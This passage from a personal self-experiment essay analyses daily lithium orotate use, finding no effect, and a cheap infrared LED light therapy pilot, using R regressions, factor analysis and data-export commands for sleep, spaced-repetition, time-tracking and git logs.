    sqlite3 -batch ~/.local/share/mnemosyne/default.db \"SELECT timestamp,easiness,grade FROM log WHERE event_type==9;"|\tr"|""," \>gwern-mnemosyne.csv
  4. DNB scores: omitted because I wound up getting tired of DNB around Nov 2012 and so have no scores for most of the experiment
  5. Zeo sleep: loaded from existing export; I don’t expect any changes so I will test just the ZQ
  6. arbtt: supports the necessary scripting:

    arbtt-stats --logfile=/home/gwern/doc/arbtt/2012-2013.log--output-format="csv" --for-each="day" --min-percentage=0 > 2012-2013-arbtt.csvarbtt-stats --logfile=/home/gwern/doc/arbtt/2013-2014.log--output-format="csv" --for-each="day" --min-percentage=0 > 2013-2014-arbtt.csv
    arbtt generates cumulative time-usage for roughly a dozen overlapping tags/categories of activity of varying value. For the specific analysis, I plan to run factor analysis to extract one or two factors which seem to correlate with useful activity/work, and regress on those, instead of trying to regress on a dozen different time variables.
  7. number of commits to the gwern.net source repository

    cd ~/wiki/echo"Gwern.net.patches,Date"> ~/patchlog.txtgit log --after=2012-05-11 --before=2013-11-02 --format="%ad" --date=short master |\sort|uniq --count |tr --squeeze-repeats ' '','|cut -d ',' -f 2,3 >> ~/patchlog.txt

Prep work (read in, extract relevant date range, combine into a single dataset, run factor analysis to extract some potentially useful variables):

lithium <-read.csv("lithium.csv")
lithium$Date <-as.Date(lithium$Date)rm(lithium$X)

mp <-read.csv("mp.csv")
mp$Date <-as.Date(mp$Date)

mnemosyne <-read.csv("gwern-mnemosyne.csv", header=FALSE,col.names =c("Timestamp", "Easiness", "Grade"),colClasses=c("integer",   "numeric",  "integer"))
mnemosyne$Date <-as.Date(as.POSIXct(mnemosyne$Timestamp, origin ="1970-01-01", tz ="EST"))
mnemosyne <-mnemosyne[mnemosyne$Date>as.Date("2012-05-11") &mnemosyne$Date<as.Date("2013-11-02"),]
mnemosyne <-aggregate(mnemosyne$Grade, by=list(mnemosyne$Date), FUN=function (x) { mean(as.vector(x));})colnames(mnemosyne) <-c("Date", "Mnemosyne.grade")

zeo <-read.csv("http://www.gwern.net/docs/zeo/gwern-zeodata.csv")
zeo$Sleep.Date <-as.Date(zeo$Sleep.Date, format="%m/%d/%Y")colnames(zeo)[1]  <- "Date"
zeo <-zeo[zeo$Date>as.Date("2012-05-11") &zeo$Date<as.Date("2013-11-02"),]
zeo <-zeo[,c(1:10, 23)]

zeo$Start.of.Night <-sapply(strsplit(as.character(zeo$Start.of.Night), " "), function(x) { x[[2]] })
## convert "06:45" to 24300
interval <-function(x) { if (!is.na(x)) { if (grepl(" s",x)) as.integer(sub(" s","",x))
                                           else { y <-unlist(strsplit(x, ":"));as.integer(y[[1]])*60 +as.integer(y[[2]]); }
                                                  }
                          else NA
                          }
zeo$Start.of.Night <-sapply(zeo$Start.of.Night, interval)
## the night 'wraps around' at ~800, so let's take 0-400 and add +800 to reconstruct 'late at night'
zeo[zeo$Start.of.Night<400,]$Start.of.Night <-(zeo[zeo$Start.of.Night<400,]$Start.of.Night +800)

arbtt1 <-read.csv("2012-2013-arbtt.csv")
arbtt2 <-read.csv("2013-2014-arbtt.csv")
arbtt <-rbind(arbtt1, arbtt2)
arbtt <-arbtt[as.Date(arbtt$Day)>=as.Date("2012-05-11") &as.Date(arbtt$Day)<=as.Date("2013-11-02"),]
## rename Day -> Date, delete Percentage
arbtt <-with(arbtt, data.frame(Date=Day, Tag=Tag, Time=Time))
## Convert time-lengths to second-counts: "0:16:40" to 1000 (seconds); "7:57:30" to 28650 (seconds) etc.
## We prefer units of seconds since arbtt has sub-minute resolution and not all categories
## will have a lot of time each day.
interval <-function(x) { if (!is.na(x)) { if (grepl(" s",x)) as.integer(sub(" s","",x))
                                           else { y <-unlist(strsplit(x, ":"));as.integer(y[[1]])*3600 +as.integer(y[[2]])*60 +as.integer(y[[3]]);
                                                 }
                                          }
                          else NA
                          }
arbtt$Time <-sapply(as.character(arbtt$Time), interval)library(reshape)
arbtt <-reshape(arbtt, v.names="Time", timevar="Tag", idvar="Date", direction="wide")
arbtt[is.na(arbtt)] <-0
arbtt$Date <-as.Date(arbtt$Date)

patches <-read.csv("patchlog.txt")
patches$Date <-as.Date(patches$Date)

## merge all the previous data into a single data-frame:
lithiumExperiment <-merge(merge(merge(merge(merge(lithium, mp), mnemosyne, all=TRUE),
                            patches, all=TRUE), arbtt, all=TRUE), zeo, all=TRUE)
## no patches recorded for a day == 0 patches that day
lithiumExperiment[is.na(lithiumExperiment$Gwern.net.patches),]$Gwern.net.patches  <-0
## NA=I didn't do SRS that day; but that is bad and should be penalized!
lithiumExperiment[is.na(lithiumExperiment$Mnemosyne.grade),]$Mnemosyne.grade  <-0


productivity <-lithiumExperiment[,c(3,5:22)]library(psych) ## for factor analysisnfactors(productivity)# VSS complexity 1 achieves a maximimum of 0.58  with  14  factors# VSS complexity 2 achieves a maximimum of 0.67  with  14  factors# The Velicer MAP achieves a minimum of 0.02  with  1  factors# Empirical BIC achieves a minimum of  -304.3  with  4  factors# Sample Size adjusted BIC achieves a minimum of  -97.84  with  7  factors## Statistics by number of factors#    vss1 vss2   map dof   chisq     prob sqresid  fit RMSEA    BIC SABIC complex  eChisq    eRMS# 1  0.16 0.00 0.016 152 1.3e+03 2.6e-190    20.4 0.16 0.122  389.4 871.9     1.0 2.1e+03 1.1e-01# 2  0.27 0.31 0.022 134 7.8e+02  1.9e-91    16.7 0.31 0.095  -65.2 360.1     1.3 1.1e+03 7.9e-02# 3  0.30 0.40 0.021 117 4.9e+02  5.2e-47    14.3 0.41 0.078 -247.2 124.2     1.6 7.0e+02 6.2e-02# 4  0.39 0.47 0.024 101 2.5e+02  4.1e-14    12.1 0.50 0.052 -389.8 -69.2     1.7 3.4e+02 4.3e-02# 5  0.39 0.51 0.028  86 1.9e+02  2.5e-10    11.2 0.54 0.049 -347.4 -74.4     1.7 2.4e+02 3.6e-02# 6  0.41 0.53 0.034  72 1.4e+02  7.9e-06    10.3 0.57 0.041 -317.3 -88.8     1.6 1.7e+02 3.1e-02# 7  0.44 0.54 0.041  59 8.6e+01  1.2e-02     9.6 0.60 0.030 -285.1 -97.8     1.8 1.1e+02 2.5e-02# 8  0.40 0.52 0.050  47 1.1e+02  1.4e-07     9.9 0.59 0.053 -181.2 -32.0     2.0 2.0e+02 3.3e-02# 9  0.48 0.57 0.063  36 4.6e+01  1.1e-01     8.3 0.66 0.024 -180.2 -65.9     1.7 6.0e+01 1.8e-02# 10 0.51 0.62 0.079  26 1.9e+01  8.3e-01     7.2 0.70 0.000 -144.6 -62.1     1.6 1.9e+01 1.0e-02# 11 0.52 0.62 0.098  17 1.4e+01  6.8e-01     6.7 0.72 0.000  -93.2 -39.3     1.7 1.5e+01 9.0e-03# 12 0.52 0.61 0.124   9 1.1e+01  3.1e-01     6.7 0.72 0.020  -46.1 -17.5     1.6 1.3e+01 8.3e-03# 13 0.48 0.61 0.163   2 4.9e+00  8.6e-02     6.3 0.74 0.053   -7.7  -1.3     1.8 6.2e+00 5.8e-03# 14 0.58 0.67 0.210  -4 7.5e-03       NA     4.9 0.80    NA     NA    NA     1.8 9.0e-03 2.2e-04# 15 0.56 0.64 0.293  -9 4.6e-06       NA     5.3 0.78    NA     NA    NA     2.0 6.1e-06 5.7e-06# 16 0.53 0.62 0.465 -13 8.7e-07       NA     5.5 0.77    NA     NA    NA     2.1 8.6e-07 2.2e-06# 17 0.51 0.61 0.540 -16 9.3e-12       NA     5.6 0.77    NA     NA    NA     2.1 1.1e-11 7.8e-09# 18 0.51 0.61 1.000 -18 7.0e-10       NA     5.6 0.77    NA     NA    NA     2.1 7.8e-10 6.5e-08# 19 0.51 0.61    NA -19 0.0e+00       NA     5.6 0.77    NA     NA    NA     2.1 6.2e-25 1.8e-15#    eCRMS   eBIC# 1  0.112 1107.9# 2  0.089  303.3# 3  0.075  -31.6# 4  0.055 -300.5# 5  0.050 -304.3# 6  0.047 -280.3# 7  0.042 -257.4# 8  0.062  -97.2# 9  0.039 -167.1# 10 0.026 -144.7# 11 0.028  -92.1# 12 0.036  -44.0# 13 0.054   -6.4# 14    NA     NA# 15    NA     NA# 16    NA     NA# 17    NA     NA# 18    NA     NA# 19    NA     NA

factorization <-fa(productivity, nfactors=4); factorization# Standardized loadings (pattern matrix) based upon correlation matrix#                     MR3   MR1   MR2   MR4     h2    u2 com# MP                 0.05  0.01 -0.02  0.34 0.1241 0.876 1.1# Gwern.net.patches -0.04  0.01  0.01  0.48 0.2241 0.776 1.0# Time.WWW           0.98 -0.04 -0.10  0.02 0.9778 0.022 1.0# Time.X             0.49  0.29  0.47 -0.03 0.5801 0.420 2.6# Time.IRC           0.35 -0.06 -0.14  0.16 0.1918 0.808 1.8# Time.Writing       0.04 -0.01  0.04  0.69 0.4752 0.525 1.0# Time.Stats         0.42 -0.10  0.30  0.01 0.2504 0.750 1.9# Time.PDF          -0.09 -0.05  0.98  0.00 0.9791 0.021 1.0# Time.Music         0.10 -0.10  0.02  0.03 0.0196 0.980 2.2# Time.Rec           0.03  0.99 -0.03 -0.02 0.9950 0.005 1.0# Time.SRS           0.06 -0.06  0.07  0.10 0.0209 0.979 3.4# Time.Sysadmin      0.22  0.13 -0.04  0.13 0.0953 0.905 2.4# Time.DNB          -0.04 -0.05 -0.06  0.07 0.0149 0.985 3.3# Time.Bitcoin       0.15 -0.07 -0.07 -0.04 0.0306 0.969 2.1# Time.Blackmarkets  0.18 -0.09 -0.08  0.02 0.0470 0.953 1.9# Time.Programming  -0.04  0.05 -0.04  0.43 0.1850 0.815 1.1# Time.Backups      -0.09  0.06 -0.01  0.04 0.0114 0.989 2.4# Time.Umineko      -0.16  0.71 -0.03  0.06 0.5000 0.500 1.1# Time.Typing       -0.03 -0.04  0.02 -0.01 0.0034 0.997 2.4##                        MR3  MR1  MR2  MR4# SS loadings           1.67 1.64 1.33 1.08# Proportion Var        0.09 0.09 0.07 0.06# Cumulative Var        0.09 0.17 0.24 0.30# Proportion Explained  0.29 0.29 0.23 0.19# Cumulative Proportion 0.29 0.58 0.81 1.00##  With factor correlations of#       MR3   MR1   MR2   MR4# MR3  1.00  0.12 -0.05  0.10# MR1  0.12  1.00  0.07 -0.08# MR2 -0.05  0.07  1.00 -0.08# MR4  0.10 -0.08 -0.08  1.00## Mean item complexity =  1.8# Test of the hypothesis that 4 factors are sufficient.## The degrees of freedom for the null model are 171# and the objective function was 3.08 with Chi Square of 1645# The degrees of freedom for the model are 101  and the objective function was  0.46## The root mean square of the residuals (RMSR) is  0.04# The df corrected root mean square of the residuals is  0.06## The harmonic number of observations is  538 with the empirical chi square  332.7  with prob <  1.6e-26# The total number of observations was  542  with MLE Chi Square =  246  with prob <  4.1e-14## Tucker Lewis Index of factoring reliability =  0.832# RMSEA index =  0.052  and the 90 % confidence intervals are  0.043 0.06# BIC =  -389.8# Fit based upon off diagonal values = 0.88# Measures of factor score adequacy#                                                 MR3  MR1  MR2  MR4# Correlation of scores with factors             0.99 1.00 0.99 0.79# Multiple R square of scores with factors       0.98 0.99 0.98 0.63# Minimum correlation of possible factor scores  0.95 0.99 0.96 0.25

## I interpret MR3=Internet+Stats usage; MR1=goofing off; MR2=reading/stats; MR4=writing
## I don't care about MR1, so we'll look for effects on 3/2/4:
lithiumExperiment$MR3 <-predict(factorization, data=productivity)[,1]
lithiumExperiment$MR2 <-predict(factorization, data=productivity)[,3]
lithiumExperiment$MR4 <-predict(factorization, data=productivity)[,4]write.csv(lithiumExperiment, file="2012-lithium-experiment.csv", row.names=FALSE)

Test

lithiumExperiment <-read.csv("http://www.gwern.net/docs/lithium/2012-lithium-experiment.csv")
l1 <-lm(cbind(MP, Mnemosyne.grade, Gwern.net.patches, ZQ, MR3, MR2, MR4) ~Lithium, data=lithiumExperiment)summary(l1)# Response MP :## Coefficients:#             Estimate Std. Error t value Pr(>|t|)# (Intercept)   3.0613     0.0591    51.8   <2e-16# Lithium      -0.0425     0.0841    -0.5     0.61## Residual standard error: 0.755 on 320 degrees of freedom#   (220 observations deleted due to missingness)# Multiple R-squared:  0.000796,    Adjusted R-squared:  -0.00233# F-statistic: 0.255 on 1 and 320 DF,  p-value: 0.614### Response Mnemosyne.grade :## Coefficients:#             Estimate Std. Error t value Pr(>|t|)# (Intercept)    3.158      0.120   26.41   <2e-16# Lithium       -0.141      0.170   -0.83     0.41## Residual standard error: 1.53 on 320 degrees of freedom#   (220 observations deleted due to missingness)# Multiple R-squared:  0.00214, Adjusted R-squared:  -0.000975# F-statistic: 0.687 on 1 and 320 DF,  p-value: 0.408### Response Gwern.net.patches :## Coefficients:#             Estimate Std. Error t value Pr(>|t|)# (Intercept)   3.8712     0.3271   11.83   <2e-16# Lithium       0.0345     0.4655    0.07     0.94## Residual standard error: 4.18 on 320 degrees of freedom#   (220 observations deleted due to missingness)# Multiple R-squared:  1.72e-05,    Adjusted R-squared:  -0.00311# F-statistic: 0.00549 on 1 and 320 DF,  p-value: 0.941### Response ZQ :## Coefficients:#             Estimate Std. Error t value Pr(>|t|)# (Intercept)   91.773      1.024   89.66   <2e-16# Lithium        0.523      1.457    0.36     0.72## Residual standard error: 13.1 on 320 degrees of freedom#   (220 observations deleted due to missingness)# Multiple R-squared:  0.000402,    Adjusted R-squared:  -0.00272# F-statistic: 0.129 on 1 and 320 DF,  p-value: 0.72### Response MR3 :## Coefficients:#             Estimate Std. Error t value Pr(>|t|)# (Intercept)  -0.0258     0.0691   -0.37     0.71# Lithium       0.0657     0.0983    0.67     0.50## Residual standard error: 0.882 on 320 degrees of freedom#   (220 observations deleted due to missingness)# Multiple R-squared:  0.00139, Adjusted R-squared:  -0.00173# F-statistic: 0.447 on 1 and 320 DF,  p-value: 0.504### Response MR2 :## Coefficients:#             Estimate Std. Error t value Pr(>|t|)# (Intercept)   0.0187     0.0788    0.24     0.81# Lithium       0.0435     0.1121    0.39     0.70## Residual standard error: 1.01 on 320 degrees of freedom#   (220 observations deleted due to missingness)# Multiple R-squared:  0.00047, Adjusted R-squared:  -0.00265# F-statistic: 0.15 on 1 and 320 DF,  p-value: 0.698### Response MR4 :## Coefficients:#              Estimate Std. Error t value Pr(>|t|)# (Intercept)  0.000209   0.052772    0.00     1.00# Lithium     -0.073464   0.075099   -0.98     0.33## Residual standard error: 0.674 on 320 degrees of freedom#   (220 observations deleted due to missingness)# Multiple R-squared:  0.00298, Adjusted R-squared:  -0.000134# F-statistic: 0.957 on 1 and 320 DF,  p-value: 0.329summary(manova(l1))#            Df      Pillai  approx F num Df den Df  Pr(>F)# Lithium     1 0.009477169 0.4291862      7    314 0.88373# Residuals 320

No variable reaches statistical-significance, the coefficient signs are inconsistent, and the MANOVA indicates no overall improvement by using the lithium variable.

Conclusion

There were no observable effects, either positive or beneficial, to the lithium orotate doses. This is consistent with my subjective experience. So I will not be using lithium orotate anymore.

An unusual intervention is infrared/near-infrared light of particular wavelengths (LLLT), theorized to assist mitochondrial respiration and yielding a variety of therapeutic benefits. Some have suggested it may have cognitive benefits. LLLT sounds strange but it’s simple, easy, cheap, and just plausible enough it might work. I tried out LLLT treatment on a sporadic basis 2013-2014, and statistically, usage correlated strongly & statistically-significantly with increases in my daily self-ratings, and not with any sleep disturbances. Excited by that result, I did a randomized self-experiment 2014-2015 with the same procedure, only to find that the causal effect was weak or non-existent. I have stopped using LLLT as likely not worth the inconvenience.

Low level laser therapy (LLLT) is a curious treatment based on the application of a few minutes of weak light in specific near-infrared wavelengths (the name is a bit of a misnomer as LEDs seem to be employed more these days, due to the laser aspect being unnecessary and LEDs much cheaper). Unlike most kinds of light therapy, it doesn’t seem to have anything to do with circadian rhythms or zeitgebers. Proponents claim efficacy in treating physical injuries, back pain, and numerous other ailments, recently extending it to case studies of mental issues like brain fog. (It’s applied to injured parts; for the brain, it’s typically applied to points on the skull like F3 or F4.) And LLLT is, naturally, completely safe without any side effects or risk of injury.

To say that this all sounds dubious would be an understatement. (My first reaction was that LLLT and lostfalco’s other proposals were probably the stupidest thing I’d seen all month.)

The research literature, while copious, is messy and varied: methodologies and devices vary substantially, sample sizes are tiny, the study designs vary from paper to paper, metrics are sometimes comically limited (one study measured speed of finishing a RAPM IQ test but not scores), blinding is rare and unclear how successful, etc. Relevant papers include Chung et al 2012, Rojas & Gonzalez-Lima 2013, & Gonzalez-Lima & Barrett 2014. Another Longecity user ran a self-experiment, with some design advice from me, where he performed a few cognitive tests over several periods of LLLT usage (the blocks turned out to be ABBA), using his father and towels to try to blind himself as to condition. I analyzed his data, and his scores did seem to improve, but his scores improved so much in the last part of the self-experiment I found myself dubious as to what was going on - possibly a failure of randomness given too few blocks and an temoral exogenous factor in the last quarter which was responsible for the improvement.

While the mechanism is largely unknown, one commonly mechanism possibility is that light of the relevant wavelengths is preferentially absorbed by the protein cytochrome c oxidase, which is a key protein in mitochondrial metabolism and production of ATP, substantially increasing output, and this extra output presumably can be useful for cellular activities like healing or higher performance.

I was contacted by the Longecity user lostfalco, and read through some of his writings on the topic. I had never heard of LLLT before, but the mitochondria mechanism didn’t sound impossible (although I wondered whether it made sense at a quantity level), and there was at least some research backing it; more importantly, lostfalco had discovered that devices for LLLT could be obtained as cheap as $15. (Clearly no one will be getting rich off LLLT or affiliate revenue any time soon.) Nor could I think of any way the LLLT could be easily harmful: there were no drugs involved, physical contact was unnecessary, power output was too low to directly damage through heating, and if it had no LLLT-style effect but some sort of circadian effect through hitting photoreceptors, using it in the morning wouldn’t seem to interfere with sleep.

Since LLLT was so cheap, seemed safe, was interesting, just trying it would involve minimal effort, and it would be a favor to lostfalco, I decided to try it. I purchased off eBay a $13 “48 LED illuminator light IR Infrared Night Vision+Power Supply For CCTV. Auto Power-On Sensor, only turn-on when the surrounding is dark. IR LED wavelength: 850nm. Powered by DC 12V 500mA adaptor.” It arrived in 4 days, on 7 September 2013. It fits handily in my palm. My cellphone camera verified it worked and emitted infrared - important because there’s no visible light at all (except in complete darkness I can make out a faint red light), no noise, no apparent heat (it took about 30 minutes before the lens or body warmed up noticeably when I left it on a table). This was good since I worried that there would be heat or noise which made blinding impossible; all I had to do was figure out how to randomly turn the power on and I could run blinded self-experiments with it.

My first time was relatively short: 10 minutes around the F3/F4 points, with another 5 minutes to the forehead. Awkward holding it up against one’s head, and I see why people talk of “LED helmets”, it’s boring waiting. No initial impressions except maybe feeling a bit mentally cloudy, but that goes away within 20 minutes of finishing when I took a nap outside in the sunlight. Lostfalco says “Expectations: You will be tired after the first time for 2 to 24 hours. It’s perfectly normal.”, but I’m not sure - my dog woke me up very early and disturbed my sleep, so maybe that’s why I felt suddenly tired. On the second day, I escalated to 30 minutes on the forehead, and tried an hour on my finger joints. No particular observations except less tiredness than before and perhaps less joint ache. Third day: skipped forehead stimulation, exclusively knee & ankle. Fourth day: forehead at various spots for 30 minutes; tiredness 5/6/7/8th day (11/12/13/4): skipped. Ninth: forehead, 20 minutes. No noticeable effects.

Pilot

At this point I began to get bored with it and the lack of apparent effects, so I began a pilot trial: I’d use the LED set for 10 minutes every few days before 2PM, record, and in a few months look for a correlation with my daily self-ratings of mood/productivity (for 2.5 years I’ve asked myself at the end of each day whether I did more, the usual, or less work done that day than average, so 2=below-average, 3=average, 4=above-average; it’s ad hoc, but in some factor analyses I’ve been playing with, it seems to load on a lot of other variables I’ve measured, so I think it’s meaningful).

On 15 March 2014, I disabled light sensor: the complete absence of subjective effects since the first sessions made me wonder if the LED device was even turning on - a little bit of ambient light seems to disable it thanks to the light sensor. So I stuffed the sensor full of putty, verified it was now always-on with the cellphone camera, and began again; this time it seemed to warm up much faster, making me wonder if all the previous sessions’ sense of warmth was simply heat from my hand holding the LEDs

In late July 2014, I was cleaning up my rooms and was tired of LLLT, so I decided to chuck the LED device. But before I did that, I might as well analyze the data.

That left me with 329 days of data. The results are that (correcting for the magnesium citrate self-experiment I was running during the time period which did not turn out too great) days on which I happened to use my LED device for LLLT were much better than regular days. Below is a graph showing the entire MP dataseries with LOESS-smoothed lines showing LLLT vs non-LLLT days:

Daily productivity self-rating (higher=better) over time, split by LLLT usage that day (2013-2014)
Daily productivity self-rating (higher=better) over time, split by LLLT usage that day (2013-2014)

LLLT pilot analysis

The correlation of LLLT usage with higher MP self-rating is fairly large (r=0.19 / d=0.455) and statistically-significant (p=0.0006).

I have no particularly compelling story for why this might be a correlation and not causation. It could be placebo, but I wasn’t expecting that. It could be selection effect (days on which I bothered to use the annoying LED set are better days) but then I’d expect the off-days to be below-average and compared to the 2 years of trendline before, there doesn’t seem like much of a fall.

The R code:

lllt <-read.csv("http://www.gwern.net/docs/nootropics/2014-08-03-lllt-correlation.csv")
l <-lm(MP ~LLLT +as.logical(Magnesium.citrate) +as.integer(Date) +as.logical(Magnesium.citrate):as.integer(Date),data=lllt); summary(l)# ...Coefficients:#                                                        Estimate   Std. Error  t value   Pr(>|t|)# (Intercept)                                         4.037702597  0.616058589  6.55409 5.0282e-10# LLLTTRUE                                            0.330923350  0.095939634  3.44929 0.00069087# as.logical(Magnesium.citrate)TRUE                   0.963379487  0.842463568  1.14353 0.25424378# as.integer(Date)                                   -0.001269089  0.000880949 -1.44059 0.15132856# as.logical(Magnesium.citrate)TRUE:as.integer(Date) -0.001765953  0.001213804 -1.45489 0.147332120.330923350 /sd(lllt$MP, na.rm=TRUE)# [1] 0.455278787cor.test(lllt$MP, as.integer(lllt$LLLT))##   Pearson`s product-moment correlation## data:  lllt$MP and as.integer(lllt$LLLT)# t = 3.4043, df = 327, p-value = 0.0007458# alternative hypothesis: true correlation is not equal to 0# 95% confidence interval:#  0.0784517682 0.2873891665# sample estimates:#         cor# 0.185010342

## check whether there's odd about non-LLLT days by expanding to include baseline
llltImputed <-lllt
llltImputed[is.na(llltImputed)] <-0
llltImputed[llltImputed$MP ==0,]$MP <-3# clean up an outlier using mediansummary(lm(MP ~LLLT +as.logical(Magnesium.citrate) +as.integer(Date) +as.logical(Magnesium.citrate):as.integer(Date),data=llltImputed))# ...Coefficients:#                                                        Estimate   Std. Error  t value   Pr(>|t|)# (Intercept)                                         2.959172295  0.049016571 60.37085 < 2.22e-16# LLLT                                                0.336886970  0.083731179  4.02344 6.2212e-05# as.logical(Magnesium.citrate)TRUE                   2.155586397  0.619675529  3.47857 0.00052845# as.integer(Date)                                    0.000181441  0.000103582  1.75166 0.08017565# as.logical(Magnesium.citrate)TRUE:as.integer(Date) -0.003373682  0.000904342 -3.73054 0.00020314power.t.test(power=0.8,delta=(0.336886970 /sd(lllt$MP, na.rm=TRUE)),type="paired",alternative="one.sided")##      Paired t test power calculation##               n = 30.1804294#           delta = 0.463483435#              sd = 1#       sig.level = 0.05#           power = 0.8#     alternative = one.sided## NOTE: n is number of *pairs*, sd is std.dev. of *differences* within pairslibrary(ggplot2)
llltImputed$Date <-as.Date(llltImputed$Date)ggplot(data = llltImputed, aes(x=Date, y=MP, col=as.logical(llltImputed$LLLT))) +geom_point(size=I(3)) +stat_smooth() +scale_colour_manual(values=c("gray49", "green"),name ="LLLT")

So, I have started a randomized experiment; should take 2 months, given the size of the correlation. If that turns out to be successful too, I’ll have to look into methods of blinding - for example, some sort of electronic doohickey which turns on randomly half the time and which records whether it’s on somewhere one can’t see. (Then for the experiment, one hooks up the LED, turns the doohickey ‘on’, and applies directly to forehead, checking the next morning to see whether it was really on or off).

Sleep

One reader notes that for her, the first weeks of LLLT usage seemed to be accompanied by sleeping longer than usual. Did I experience anything similar? There doesn’t appear to be any particular effect on total sleep or other sleep variables:

lllt <-read.csv("http://www.gwern.net/docs/nootropics/2014-08-03-lllt-correlation.csv")
zeo <-read.csv("http://www.gwern.net/docs/zeo/gwern-zeodata.csv")
lllt$Date <-as.Date(lllt$Date)
zeo$Date <-as.Date(zeo$Sleep.Date, format="%m/%d/%Y")

sleepLLLT <-merge(lllt, zeo, all=TRUE)
l <-lm(cbind(Start.of.Night, Time.to.Z, Time.in.Wake, Awakenings, Time.in.REM, Time.in.Light, Time.in.Deep, Total.Z, ZQ, Morning.Feel) ~LLLT, data=sleepLLLT)summary(manova(l))
##            Df     Pillai approx F num Df den Df  Pr(>F)
## LLLT        1 0.04853568 1.617066     10    317 0.10051
## Residuals 326library(ggplot2)qplot( sleepLLLT$Date, sleepLLLT$Total.Z, color=sleepLLLT$LLLT)

LLLT pilot factor analysis

Factor-analyzing several other personal datasets into 8 factors while omitting the previous MP variable, I find LLLT correlates with personal-productivity-related factors, but less convincingly than MP, suggesting the previous result is not quite as good as it seems.

My worry about the MP variable is that, plausible or not, it does seem relatively weak against manipulation; other variables I could look at, like arbtt window-tracking of how I spend my computer time, # or size of edits to my files, or spaced repetition performance, would be harder to manipulate. If it’s all due to MP, then if I remove the MP and LLLT variables, and summarize all the other variables with factor analysis into 2 or 3 variables, then I should see no increases in them when I put LLLT back in and look for a correlation between the factors & LLLT with a multivariate regression.

Preparation of data:

lllt <-read.csv("~/wiki/docs/nootropics/2014-08-03-lllt-correlation.csv",colClasses=c("Date",rep("integer", 4), "logical"))
lllt <-data.frame(Date=lllt$Date, LLLT=lllt$LLLT)
mp <-read.csv("~/selfexperiment/mp.csv", colClasses=c("Date", "integer"))
creativity <-read.csv("~/selfexperiment/dailytodo-marchjunecreativity.csv",colClasses=c("Date", "integer"))
mnemosyne <-read.csv("~/selfexperiment/mnemosyne.csv", header=FALSE,col.names =c("Timestamp", "Easiness", "Grade"),colClasses=c("integer",   "numeric",  "integer"))
mnemosyne$Timestamp <-as.POSIXct(mnemosyne$Timestamp, origin ="1970-01-01", tz ="EST")
mnemosyne$Date    <-as.Date(mnemosyne$Timestamp)
mnemosyne <-aggregate(Grade ~Date, mnemosyne, mean)
mnemosyne$Average.Spaced.repetition.score <-mnemosyne$Graderm(mnemosyne$Grade)

dnb <-read.csv("~/doc/brainworkshop/data/stats.txt", header=FALSE)
dnb$V1 <-as.POSIXct(dnb$V1, format="%Y-%m-%d %R:%S")
dnb <-dnb[!is.na(dnb$V1),]
dnb <-with(dnb, data.frame(Timestamp=V1, Nback.type=V2, Percentage=V3))
dnb$Date <-as.Date(dnb$Timestamp)
dnbDaily <-aggregate(Percentage ~Date +Nback.type, dnb, mean)

arbtt1 <-read.csv("~/selfexperiment/2012-2013-arbtt.txt")
arbtt2 <-read.csv("~/selfexperiment/2013-2014-arbtt.txt")
arbtt <-rbind(arbtt1, arbtt2)rm(arbtt$Percentage)
interval <-function(x) { if (!is.na(x)) { if (grepl(" s",x)) as.integer(sub(" s","",x))
                                          else { y <-unlist(strsplit(x, ":"));as.integer(y[[1]])*3600 +as.integer(y[[2]])*60 +as.integer(y[[3]]);
                                                }
                                          }
                         else NA
                         }
arbtt$Time <-sapply(as.character(arbtt$Time), interval)library(reshape)
arbtt <-reshape(arbtt, v.names="Time", timevar="Tag", idvar="Day", direction="wide")
arbtt$Date <-as.Date(arbtt$Day)rm(arbtt$Day)
arbtt[is.na(arbtt)] <-0

patches <-read.csv("~/selfexperiment/patchlog-gwern.net.txt", colClasses=c("integer", "Date"))
patches$Gwern.net.patches.log <-log1p(patches$Gwern.net.patches)# modified lines per day is much harder: state machine to sum lines until it hits the next date
patchCount <-scan(file="~/selfexperiment/patchlog-linecount-gwern.net.txt", character(), sep ="\n")
patchLines <-new.env()
for (i in 1:length(patchCount)) {
 if (grepl("\t", patchCount[i])) { patchLines[[date]] <-patchLines[[date]] +sum(sapply(strsplit(patchCount[i], "\t"), as.integer))
                                  }
  else { date <-patchCount[i]
   patchLines[[date]] <-0 }
   }
patchLines <-as.list(patchLines)
patchLines <-data.frame(Date =rep(names(patchLines), lapply(patchLines, length)),Gwern.net.linecount=unlist(patchLines))rm(row.names(patchLines))
patchLines$Date <-as.Date(patchLines$Date)
patchLines$Gwern.net.linecount.log <-log1p(patchLines$Gwern.net.linecount)

firstDay <-patches$Date[1]; lastDay <-patches$Date[nrow(patches)]
patches <-merge(merge(patchLines, patches, all=TRUE), data.frame(Date=seq(firstDay, lastDay, by="day")), all=TRUE)# if entries are missing, they == 0
patches[is.na(patches)] <-0# combine all the data:
llltData <-merge(merge(merge(merge(merge(lllt, mp, all=TRUE), creativity, all=TRUE), dnbDaily, all=TRUE), arbtt, all=TRUE), patches, all=TRUE)write.csv(llltData, file="2014-08-08-lllt-correlation-factoranalysis.csv", row.names=FALSE)

Factor analysis. The strategy: read in the data, drop unnecessary data, impute missing variables (data is too heterogeneous and collected starting at varying intervals to be clean), estimate how many factors would fit best, factor analyze, pick the ones which look like they match best my ideas of what ‘productive’ is, extract per-day estimates, and finally regress LLLT usage on the selected factors to look for increases.

lllt <-read.csv("http://www.gwern.net/docs/nootropics/2014-08-08-lllt-correlation-factoranalysis.csv")# the log transforms are more useful:rm(lllt$Date, lllt$Nback.type, lllt$Gwern.net.linecount, lllt$Gwern.net.patches)# https://stats.stackexchange.com/questions/28576/filling-nas-in-a-dataset-with-column-medians-in-r
imputeColumnAsMedian <-function(x){
   x[is.na(x)] <-median(x, na.rm=TRUE) #convert the item with NA to median value from the column
   x #display the column
}
llltI  <-data.frame(apply(lllt, 2, imputeColumnAsMedian))library(psych)nfactors(llltI[-c(1,2)])# VSS complexity 1 achieves a maximimum of 0.56  with  16  factors# VSS complexity 2 achieves a maximimum of 0.66  with  16  factors# The Velicer MAP achieves a minimum of 0.01  with  1  factors# Empirical BIC achieves a minimum of  -280.23  with  8  factors# Sample Size adjusted BIC achieves a minimum of  -135.77  with  9  factorsfa.parallel(llltI[-c(1,2)], n.iter=2000)# Parallel analysis suggests that the number of factors =  7  and the number of components =  7
## split the difference between sample-size adjusted BIC and parallel analysis with 8:
